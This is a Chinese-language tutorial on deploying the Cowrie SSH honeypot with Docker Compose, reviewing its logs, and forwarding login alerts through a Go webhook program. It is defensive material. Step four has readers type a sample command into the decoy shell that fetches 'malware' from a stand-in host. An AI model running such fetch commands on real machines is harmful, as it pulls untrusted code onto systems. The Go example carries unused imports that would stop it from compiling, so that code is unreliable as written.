这是一个非常棒的实战选择。Cowrie 是目前最流行的开源中交互 SSH/Telnet 蜜罐。它不仅能记录黑客的暴力破解(账号密码),还能模拟一个假的 Shell 环境,记录黑客登录后敲下的所有命令,甚至还能把黑客上传的文件保存下来。
作为一个运维开发工程师,使用 Docker Compose 部署它是最快、最干净的方式。
以下是基于 Docker 的 Cowrie 快速部署教程。
⚠️以此为戒(安全警告)
- 不要在生产环境的核心业务服务器上直接通过端口映射部署,以免资源被耗尽或发生意外逃逸。建议在虚拟机、闲置 VPS 或内网隔离区测试。
- 端口冲突: 你的宿主机 SSH 通常占用 22 端口。为了避免把自己锁在门外,本教程将蜜罐部署在 2222 端口。
第一步:准备工作目录
在你的 Linux 服务器上创建一个目录来存放配置文件和日志:
bash
mkdir -p /opt/cowrie/var/log/cowrie
mkdir -p /opt/cowrie/etc
cd /opt/cowrie
第二步:编写 Docker Compose 文件
创建 docker-compose.yml 文件。我们将把蜜罐的 SSH 服务暴露在宿主机的 2222 端口上。
yaml
version: '3'
services:
cowrie:
image: cowrie/cowrie:latest
container_name: cowrie_honeypot
restart: always
ports:
# 格式: "宿主机端口:容器端口"
# Cowrie 默认在容器内监听 2222
- "2222:2222"
volumes:
# 挂载日志目录,方便我们在宿主机查看黑客留下的痕迹
- ./var/log/cowrie:/cowrie/cowrie-git/var/log/cowrie
# (可选) 挂载配置目录,如果你想自定义蜜罐的hostname等
- ./etc:/cowrie/cowrie-git/etc
networks:
- cowrie-net
networks:
cowrie-net:
driver: bridge
第三步:启动蜜罐
bash
docker-compose up -d
启动后,查看一下日志确保运行正常:
bash
docker-compose logs -f
第四步:扮演"黑客"进行攻击测试
现在,你的蜜罐已经上线了。你可以用另一台机器,或者就在本机,尝试攻击(登录)它。
注意: 默认情况下,Cowrie 允许大多数常用密码登录(如 root/123456),或者允许任意密码登录(取决于默认配置)。
在终端执行:
bash
# 尝试连接蜜罐的 2222 端口
ssh root@localhost -p 2222
- 输入密码(试一下
123456或password)。 - 你会发现你登录成功了!
- 你会看到一个看起来很像 Linux 的提示符(通常是
root@svr04:~#之类的)。 - 试着输入一些命令:
uname -a(看看它伪装成什么系统)wget http://example.com/malware(假装下载病毒,Cowrie 会记录这个动作)exit(退出)
第五步:查看"战利品" (日志分析)
作为防御者,现在去看看蜜罐记录了什么。
Cowrie 会生成两种主要的日志文件(在你挂载的 ./var/log/cowrie/ 目录下):
- cowrie.json (结构化日志,最重要):
这是详细的审计日志,包含时间戳、攻击者IP、尝试的用户名/密码、输入的指令等。
查看刚才的攻击记录:
bash
# 使用 jq 美化查看 (如果没装 jq,直接 cat 也可以)
tail -n 20 var/log/cowrie/cowrie.json
你会看到类似这样的 JSON 数据(这正是你作为运维开发可能感兴趣的数据结构):
json
{
"eventid": "cowrie.command.input",
"message": "CMD: uname -a",
"src_ip": "172.18.0.1",
"session": "a1b2c3d4",
"timestamp": "2025-12-31T12:00:00.123456Z",
"input": "uname -a"
}
- cowrie.log (文本日志):
传统的应用运行日志,适合排查蜜罐本身的报错。 - tty/ (录像回放):
这个目录下会保存.log文件,这些其实是会话录像 。你可以使用playlog工具(Cowrie 自带)完全重放黑客在终端里的一举一动,就像看电影一样。
进阶玩法:如何让它看起来更像真的?
如果你想让它真正发挥作用(捕捉公网攻击),你需要做两件事:
- 端口转发: 在你的防火墙或路由器上,把外网的 22 端口流量转发到这台机器的 2222 端口。
- 注意:一定要把宿主机真实的 SSH 端口改到别的地方(比如 22022),否则你会把自己锁死!
- 自定义配置: 修改挂载出来的
etc/cowrie.cfg文件。你可以修改蜜罐的主机名(Hostname),甚至可以上传一些假的/etc/passwd文件让黑客觉得这台机器有很多用户。
总结
现在你拥有了一个属于自己的"捕鼠笼"。哪怕只是开在 2222 端口并暴露在公网一天,你可能会惊讶地发现,互联网上有多少自动化的僵尸网络在无休止地进行扫描和爆破。
延申 :如果你擅长 Go 语言,可以写一个小工具(或者使用现有的 Logstash/Filebeat),读取 cowrie.json 并发送到钉钉/企业微信群里面。这样一旦有人攻入蜜罐,你手机上就能收到实时报警。
代码示例
go
package main
import (
"bytes"
"encoding/json"
"fmt"
"log"
"net/http"
"strings"
"time"
"github.com/hpcloud/tail"
)
// Config 配置项
const (
// 修改为你的 Cowrie 日志实际路径
LogFilePath = "/opt/cowrie/var/log/cowrie/cowrie.json"
// 修改为你的钉钉/企业微信/飞书 Webhook 地址
// 这里演示的是钉钉机器人的格式
WebhookURL = "https://oapi.dingtalk.com/robot/send?access_token=YOUR_TOKEN_HERE"
)
// CowrieLog 定义 Cowrie 日志的结构 (按需提取字段)
type CowrieLog struct {
EventID string `json:"eventid"` // 事件ID,如 cowrie.login.success
SrcIP string `json:"src_ip"` // 攻击者IP
Message string `json:"message"` // 详细消息
Timestamp string `json:"timestamp"` // 时间
Username string `json:"username,omitempty"` // 尝试的用户名
Password string `json:"password,omitempty"` // 尝试的密码
}
func main() {
fmt.Printf("🛡️ Cowrie Watchdog started. Monitoring: %s\n", LogFilePath)
// 配置 Tail
t, err := tail.TailFile(LogFilePath, tail.Config{
Follow: true, // 实时跟随
ReOpen: true, // 如果文件被轮转(logrotate),自动重新打开
MustExist: true, // 文件必须存在
Poll: true, // 使用轮询模式,兼容性更好
})
if err != nil {
log.Fatalf("无法监听日志文件: %v", err)
}
// 循环读取每一行新日志
for line := range t.Lines {
processLogLine(line.Text)
}
}
// processLogLine 处理单行日志
func processLogLine(text string) {
var entry CowrieLog
// 解析 JSON
if err := json.Unmarshal([]byte(text), &entry); err != nil {
// 忽略解析错误的行(可能是非 JSON 格式的干扰)
return
}
// === 核心逻辑:定义你关心的报警规则 ===
// 规则 1: 黑客登录成功 (最危险!)
if entry.EventID == "cowrie.login.success" {
alertMsg := fmt.Sprintf("🚨 **入侵警报** 🚨\n黑客已成功登录蜜罐!\nIP: %s\n账号: %s\n密码: %s",
entry.SrcIP, entry.Username, entry.Password)
go sendAlert(alertMsg)
fmt.Println("[ALERT] Login Success detected!")
}
// 规则 2: 黑客正在输入命令 (可以监控由于好奇产生的操作)
// if entry.EventID == "cowrie.command.input" {
// // 这里可以做一些简单的命令过滤,防止刷屏
// fmt.Printf("[Monitor] %s 正在执行: %s\n", entry.SrcIP, entry.Message)
// }
}
// sendAlert 发送 Webhook (以钉钉为例)
func sendAlert(content string) {
// 构造钉钉的消息体
payload := map[string]interface{}{
"msgtype": "text",
"text": map[string]string{
"content": content,
},
}
payloadBytes, _ := json.Marshal(payload)
// 发送 POST 请求
resp, err := http.Post(WebhookURL, "application/json", bytes.NewBuffer(payloadBytes))
if err != nil {
log.Printf("发送报警失败: %v", err)
return
}
defer resp.Body.Close()
}